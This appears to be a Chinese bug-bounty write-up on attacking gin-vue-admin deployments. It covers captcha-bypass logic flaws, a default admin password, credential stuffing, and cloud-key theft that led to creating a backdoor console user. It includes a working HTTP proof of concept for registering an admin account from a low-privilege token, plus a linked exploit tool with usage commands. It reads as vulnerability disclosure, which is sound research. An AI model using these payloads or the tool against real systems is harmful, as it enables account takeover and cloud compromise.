Contents

SRC:gin-vue-admin攻击面

0x01 历史漏洞

0x02 攻击面

从历史漏洞可以看出,大多数的漏洞都存在后台,包括RCE、越权等等,实际上关于Gin-vue-admin的攻击面不止于后台,整理了一下,大概思路如下: /postsimg/srcginvueadmin/yuque_mind.jpeg

0x03 前台攻击面

撞库分为两种情况,主要还是围绕着验证码展开,校验逻辑在server\api\v1\system\sys_user.go中的52行 /postsimg/srcginvueadmin/1.png

访问业务网站会首先像接口/api/base/captcha发送一次请求,获取captchaId以及验证码图片,手动点击验证码刷新与点击登录都会触发/api/base/captcha刷新验证码 /postsimg/srcginvueadmin/2.png

当系统管理员在二开接入单点登录或注册接口时,会出现配置不当的情况存在,可以尝试绕过

绕过思路1
只判断captchaIdcaptcha是否为空,不校验验证码是否正确,captchacaptchaId无论为多少都会回显 {"code":7,"data":{},"msg":"用户名不存在或者密码错误"}

/postsimg/srcginvueadmin/3.png

绕过思路2
校验验证码是否正确但不判断captchaIdcaptcha是否为空,可通过删除captcha字段绕过验证码检测。 校验验证码是否正确
/postsimg/srcginvueadmin/4.png 判断captchaId是否为空但不判断captcha是否为空,删除captcha字段绕过验证码检测 /postsimg/srcginvueadmin/5.png

管理员弱口令

初始化后的后端默认管理员admin账户密码为123456 /postsimg/srcginvueadmin/6.png

单点登录

如Gin-vue-admin配置了单点登录获取扫描登录功能,可尝试利用单点登录与扫码获取一个低权限的x-token,如QQ单点登录 /postsimg/srcginvueadmin/7.png

开放注册

如下,也可通过注册获取一个低权限的x-token /postsimg/srcginvueadmin/8.png

案例1:TSRC逻辑撞库漏洞

平台提供注册功能,自定义接口未鉴权,/api/user/getUserList获取平台所有用户列表 /postsimg/srcginvueadmin/9.png

python脚本简单处理,提取一下用户名 /postsimg/srcginvueadmin/10.png

存在绕过思路1,撞库获取大量用户权限,包括管理员

/postsimg/srcginvueadmin/11.png

/postsimg/srcginvueadmin/12.png

前面在历史漏洞中提到过,setSystemConfig文件,该文件记录了整个平台的各种配置,包括jwt、mysql password、aksk等,利用setSystemConfig文件读取AKSK创建crossfire后门用户接管腾讯某游戏工作室云控制台

/postsimg/srcginvueadmin/13.png

/postsimg/srcginvueadmin/14.png

/postsimg/srcginvueadmin/15.png

0x02 后台攻击面

到目前结束了吗?前面提到过,开放注册接口能获取低权限的x-token,意味着还有后台攻击面,后台的漏洞过多,就不多阐述,主要写一个通杀的提权思路,前面的历史漏洞也说到了很多,但是不知道为什么很多师傅都没有注意到/api/user/admin_register这一个默认的接口,代码逻辑在 /server/api/v1/system/sys_user.go的第141行 /postsimg/srcginvueadmin/16.png

该接口允许低权限账号注册一个管理员账户,在满足:开放注册的前提下或低权限用户情景下,调用管理员注册接口注册一个管理员账号,再通过登录接口获取jwt登录至后台。

漏洞复现:利用官方的环境先新增一个低权限角色,角色权限只有用户登录 /postsimg/srcginvueadmin/17.png

新增一个ceshi123用户,用户角色权限为刚刚新增的test即可 /postsimg/srcginvueadmin/18.png

测试角色权限如下 /postsimg/srcginvueadmin/19.png

漏洞复现:只要满足获取到一个低权限jwt的前提下,就可以通过这个接口,注册一个管理员权限账号,接管后台,其中"AuthorityId":888默认为管理员权限,Poc如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /api/user/admin_register HTTP/1.1
Host: 
X-Token: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


{
"ID":"1",
"CreatedAt":"2023-12-03T09:17:59.622Z","UpdatedAt":"2023-12-03T09:17:59.622Z","uuid":"1",
"username":"ggb123456","password":"ggb123456",
"NickName":"ggb123456",
"AuthorityId":888,
"captcha":""}

/postsimg/srcginvueadmin/20.png

/postsimg/srcginvueadmin/21.png

/postsimg/srcginvueadmin/22.png

属于一个没啥技术的小0day,目前漏洞已同步给了官方,官方已确认

/postsimg/srcginvueadmin/23.png

案例2:80199报告bypass再次获取aksk

通过获取到的低权限jwt,即可调⽤/api/user/admin_register接⼝越权注册⼀个管理员账户,接管oss存储桶

/postsimg/srcginvueadmin/24.png

/postsimg/srcginvueadmin/25.png

案例3:报告再次bypass再次获取aksk

前面案例1的时候,提到过自定义接口未鉴权,Golang本身能RCE的漏洞很少,但是比如zip包造成的文件读取类,权限逻辑类漏洞非常多,前面的/api/user/admin_register接口就连官方也没有注意鉴权,那么自定义的接口,是不是在权限上,是不是也会存在越权,开发在后台自定义了/api/common/getConfigListxxxx接口,通过该接口再次越权读取配置文件获取aksk劫持桶,以及另外其它fuzz处理的接口获取到一些用户列表等

/postsimg/srcginvueadmin/26.png

/postsimg/srcginvueadmin/27.png

/postsimg/srcginvueadmin/28.png

0x05 武器化

项目地址:https://github.com/Shm1ly726/gin-vue-admin-exp

学习golang编程练习写的一款简单的gin-vue-admin框架利用小工具

能力有限,代码写得很垃圾,各位师傅们轻喷,也欢迎各位师傅指导与讨论

声明:此工具仅作学习交流用,不要做任何违法行为,如果违法&恶意操作,与本人无关!!!

主要功能

  1. 前端绕过
    1. 绕过思路1:只判断captchaIdcaptcha是否为空,不校验验证码是否正确
    2. 绕过思路2:只判断captchaIdcaptcha是否为空,不校验验证码是否正确
  2. 绕过后撞库
    1. Username:内置字典,默认"admin", "test", "demo", "guest", "test1", "user", "ceshi", "test123", "system", "web", "sys", "admin1"
    2. password:加载根目录bigpasswdDict.txt文件
  3. 漏洞利用
    1. 提权/后门利用(CNVD-2024-00979)
    2. 读取系统配置利用

使用说明

1
2
gin-vue-admin-exp.exe -u https://www.baidu.com (判断前端是否绕过)
gin-vue-admin-exp.exe -u https://www.baidu.com -x xxxx (撞库后获取x-token进行漏洞利用)

编译命令

1
2
3
go mod init
go mod tidy
go build -o gin-vue-admin-exp.exe

运行截图

1
gin-vue-admin-exp.exe -u https://www.baidu.com

/postsimg/gin-vue-admin-exp/1.png

1
gin-vue-admin-exp.exe -u https://www.baidu.com -x xxxx

/postsimg/gin-vue-admin-exp/2.png

计划

  1. 添加第二种撞库模式,引入字典dict,固定密码撞库(实现不难,但是太懒了)

设计

代码整体逻辑如下
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
└─gin-vue-admin-exp
        bigpasswdDict.txt	撞库密码字典
        config.go	结构体
        credentialStuffing.go	撞库功能主要代码
        exp.go	漏洞利用功能主要代码
        flag.go	命令行模块
        frontEndBypass.go	前端绕过功能主要代码
        gin-vue-admin-exp.exe
        go.mod
        go.sum
        main.go	主入口函数
Bug记录

1. 并发数过高而导致的程序奔溃

  • 解决方案:用信号量semaphore来限制最大并发数

sem := semaphore.NewWeighted(int64(maxGoroutines)) 创建了一个新的信号量,其最大并发数由 maxGoroutines 变量控制。每次启动一个新的 goroutine 之前,都会调用 sem.Acquire 来尝试获取一个资源。如果当前的并发数已经达到了最大值(即信号量的计数器为0),那么 Acquire 会阻塞,直到有其他的 goroutine 调用 Release 释放一个资源。这样就可以确保任何时候运行的 goroutine 数量不会超过 maxGoroutines

1
2
3
4
var (
	maxGoroutines = 100 // 最大并发数
	sem           = semaphore.NewWeighted(int64(maxGoroutines))
)

2. 部分站点登录接口为/base/login

  • 解决方案:如果 HTTP 响应的状态码为 404,更改 URL 重新尝试请求
1
2
3
4
5
6
7
8
	if resp.StatusCode == 404 {
		url = Info.Url + "/base/login"
		resp, err = client.Post(url, "application/json", bytes.NewBuffer(reqBodyBytes))
		if err != nil {
			log.Fatal(err)
		}
		defer resp.Body.Close()
	}

3.站点不安全、ssl证书过期导致请求问题

  • 解决方案:创建新的 HTTP 客户端,禁用 SSL 证书验证
1
2
3
4
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client := &http.Client{Transport: tr}